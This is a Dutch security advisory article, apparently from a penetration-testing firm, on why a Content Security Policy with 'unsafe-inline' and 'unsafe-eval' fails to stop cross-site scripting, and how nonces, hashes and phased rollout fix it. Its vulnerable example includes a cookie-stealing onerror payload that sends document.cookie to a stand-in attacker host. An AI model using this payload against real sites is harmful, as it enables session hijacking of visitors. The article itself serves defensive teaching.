CSP staat inline scripts en eval toe
CWE-693CWE-79OWASP A05:2021Bijgewerkt 3 september 20265 min leestijd
Een Content Security Policy die 'unsafe-inline' of 'unsafe-eval' toestaat, geeft precies de constructies vrij die de header zou moeten blokkeren. Geïnjecteerde scriptcode wordt dan gewoon uitgevoerd en de belangrijkste bescherming tegen cross-site scripting valt weg. Met nonces of hashes houdt u bestaande inline scripts werkend zonder die uitzondering.
Een Content Security Policy die 'unsafe-inline' bevat, is als een gastenlijst met onderaan de opmerking “en verder iedereen die zich aandient”. De header is aanwezig, scanners zijn tevreden, maar de aanval waar het om begonnen was gaat er ongehinderd doorheen. Hieronder leest u waarom deze twee uitzonderingen zo zwaar wegen en hoe u ze weghaalt zonder uw applicatie te breken.
Wat betekent unsafe-inline en unsafe-eval?
'unsafe-inline' en 'unsafe-eval' zijn twee expliciete uitzonderingen in een Content Security Policy. De eerste staat toe dat JavaScript rechtstreeks in de HTML staat, in een <script>-blok of in een attribuut als onclick. De tweede staat toe dat de applicatie tekst omzet in uitvoerbare code, via eval(), new Function() of een setTimeout() met een string als argument.
Beide zijn precies de constructies waarmee een cross-site-scriptingaanval werkt. Een aanvaller die erin slaagt tekst in uw pagina te krijgen, heeft geen extern script nodig; hij schrijft zijn code gewoon ter plekke. Het woord unsafe in de naam is dus geen waarschuwing van de opsteller van de standaard maar een feitelijke beschrijving: u zet de deur open voor de aanval die u met dezelfde header dacht te sluiten.
De vergelijking dringt zich op met een sprinklerinstallatie waarvan de hoofdkraan dicht staat. Alles is aanwezig, alles is gekeurd, en op het moment dat het nodig is gebeurt er niets.
Hoe werkt de omzeiling in de praktijk?
Stel dat een applicatie een zoekterm terug toont zonder die correct te ontsnappen. Met een strikt beleid blijft dat een cosmetisch probleem; met 'unsafe-inline' is het een volwaardige kwetsbaarheid.
Kwetsbaar:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval'
Op papier is dit een keurig beleid: scripts komen alleen van het eigen domein. Maar met de twee uitzonderingen erbij accepteert de browser ook dit:
<!-- Beland in de pagina via een niet-ontsnapte zoekterm -->
<img src=x onerror="fetch('https://kwaadaardig.example/x?c='+document.cookie)">
Er wordt geen enkel extern script geladen, dus script-src 'self' wordt niet overtreden. De code staat in een attribuut, en dat is nu juist wat 'unsafe-inline' toestaat. De sessiecookie vertrekt naar de aanvaller en de CSP heeft in dit hele verloop geen rol gespeeld.
Veilig:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-8fK2pQvR7xM1' 'strict-dynamic';
object-src 'none';
base-uri 'self'
<!-- Alleen dit scriptblok draagt de nonce van dit specifieke antwoord -->
<script nonce="8fK2pQvR7xM1">
document.getElementById('zoek').focus();
</script>
De server genereert bij elk antwoord een nieuwe, willekeurige nonce, zet die in de header en op de eigen scriptblokken. De browser voert nu alleen scripts uit die deze waarde dragen. De geïnjecteerde onerror-code heeft geen nonce en wordt geweigerd; de aanvaller kan de juiste waarde ook niet raden of hergebruiken, omdat die bij het volgende verzoek al veranderd is. 'strict-dynamic' zorgt er daarbij voor dat scripts die uw eigen vertrouwde code laadt, blijven werken zonder dat u elk CDN afzonderlijk hoeft toe te staan.
script-src staat, negeren moderne browsers 'unsafe-inline'. Die uitzondering laten staan “voor oudere browsers” is daarom niet zinloos maar wel misleidend, in uw beleid staat dan een regel die op moderne browsers niets doet en op oude alles toestaat.Wat is de impact van een CSP met unsafe-inline?
Losstaand levert deze bevinding geen directe compromittering op, en daarom valt de ernst meestal laag uit. De betekenis ligt in de combinatie: op het moment dat er ergens in de applicatie een injectiepunt bestaat, is het verschil tussen een geblokkeerd script en een gestolen sessie precies deze instelling.
De bevinding weegt daarmee zwaarder dan zij op het eerste gezicht lijkt. Een moderne applicatie van enige omvang bevat vrijwel altijd wel een plek waar gebruikersinvoer onvoldoende wordt ontsnapt, in een zelden gebruikt beheerscherm, in een foutmelding, in een PDF-generator of in een component van een derde partij. De CSP is de laag die bedoeld is om juist die onvermijdelijke fout op te vangen. Staat 'unsafe-eval' daarnaast aan, dan komen ook aanvallen via gegevens die pas op de client tot code worden verwerkt binnen bereik.
Er is nog een tweede, praktische kant. Veel organisaties beschouwen “wij hebben een CSP” als afgerond punt op een checklist. Een beleid met deze uitzonderingen geeft die zekerheid ten onrechte en houdt daarmee een risico in stand dat men denkt te hebben afgedekt.
Hoe spoor je een CSP met unsafe-inline op?
De header opvragen en op de twee sleutelwoorden zoeken is het begin, maar niet meer dan dat. Een tester kijkt vervolgens of er nonces of hashes aanwezig zijn, die maken 'unsafe-inline' op moderne browsers immers irrelevant, en of die nonces daadwerkelijk per verzoek verschillen. Een vaste nonce in een gecachete pagina is een klassieke fout die het hele mechanisme onderuit haalt.
Daarnaast wordt gecontroleerd of 'unsafe-eval' werkelijk nodig is of alleen historisch is blijven staan, en of er in de applicatie nog eval()-achtige constructies voorkomen. Ook relevant: geldt het strikte beleid overal, of kent één subdomein of één legacy-scherm een ruimere variant waarlangs een aanvaller alsnog binnenkomt? AssistSec toetst bij een penetratietest niet of de header aanwezig is, maar of het beleid een echte injectie tegenhoudt, inclusief de omweg via toegestane bronnen die zelf gebruikersinhoud serveren.
Hoe voorkom je een CSP met unsafe-inline?
- Verwijder
'unsafe-inline'en'unsafe-eval'uitscript-srcen vervang ze door per verzoek gegenereerde nonces of door hashes van vaste scripts. - Genereer nonces cryptografisch willekeurig en nooit opnieuw voor een tweede antwoord; controleer dat gecachete pagina’s geen oude nonce meedragen.
- Verplaats inline
onclick- enonerror-attributen naar externe scriptbestanden met event-listeners. - Vervang
eval(),new Function()ensetTimeout()met een string door directe functieaanroepen ofJSON.parse(). - Zet
'strict-dynamic'in als u veel scripts dynamisch laadt, zodat u niet elk afzonderlijk domein hoeft toe te staan. - Voer de wijziging gefaseerd in met
Content-Security-Policy-Report-Only, zodat u ziet welke scripts zouden sneuvelen voordat u afdwingt. - Ruim ook
'unsafe-inline'bijstyle-srcop zodra de belangrijkste scriptproblemen zijn opgelost. - Neem de CSP op in uw geautomatiseerde tests, zodat een uitzondering niet ongemerkt terugkeert bij een volgende release.
Bronnen
Veelgestelde vragen
Wat is het verschil tussen een nonce en een hash?
Een nonce is een willekeurige waarde die de server per verzoek genereert en zowel in de header als op het scriptblok zet; de browser voert alleen scripts met de juiste waarde uit. Een hash is de SHA-vingerafdruk van de exacte scriptinhoud. Nonces passen bij dynamisch gegenereerde pagina's, hashes bij statische scripts die nooit veranderen.
Mag ik unsafe-inline laten staan voor stylesheets?
Dat is aanzienlijk minder erg dan bij scripts, en in de praktijk vaak de laatste uitzondering die overblijft. Toch is het niet risicoloos: met geïnjecteerde CSS kan een aanvaller de pagina visueel herschikken voor phishing of, via selectors op attribuutwaarden, gegevens uit een formulier afleiden. Ruim het op zodra het kan.
Waarom is een vaste nonce geen oplossing?
Omdat de hele werking berust op onvoorspelbaarheid. Een nonce die bij elk verzoek dezelfde waarde heeft, kan een aanvaller gewoon uit de broncode overnemen en in zijn eigen geïnjecteerde script zetten. Functioneel is dat exact hetzelfde als unsafe-inline; genereer de waarde daarom per antwoord opnieuw.
Wat als een framework van derden eval nodig heeft?
Dat komt voor bij oudere template-engines die templates op de client compileren. De juiste route is overstappen op een vooraf gecompileerde build, wat vrijwel elk modern framework ondersteunt. Lukt dat op korte termijn niet, isoleer de betreffende functionaliteit dan op een apart subdomein met een eigen, ruimer beleid.
Verwante artikelen
- KwetsbaarhedenCWE-693A05:2021Ontbrekende Content Security PolicyZonder Content Security Policy mag de browser scripts van elke bron laden. Lees wat een CSP doet, hoe u er een opstelt en welke fouten hem waardeloos maken.
- KwetsbaarhedenCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) laat aanvallers scripts injecteren die in de browser van uw bezoekers draaien. Zo werkt de aanval en zo voorkomt u het.
- KwetsbaarhedenCWE-16A05:2021Security misconfigurationSecurity misconfiguration uitgelegd: hoe standaardwachtwoorden, debug-modi en open cloud-buckets aanvallers binnenlaten, en hoe u dit voorkomt.
- KwetsbaarhedenCWE-353A08:2021Externe scripts zonder integriteitscontroleLaadt u JavaScript van een CDN zonder integrity-attribuut, dan draait elke wijziging daar direct op uw site. Lees hoe SRI dat blokkeert.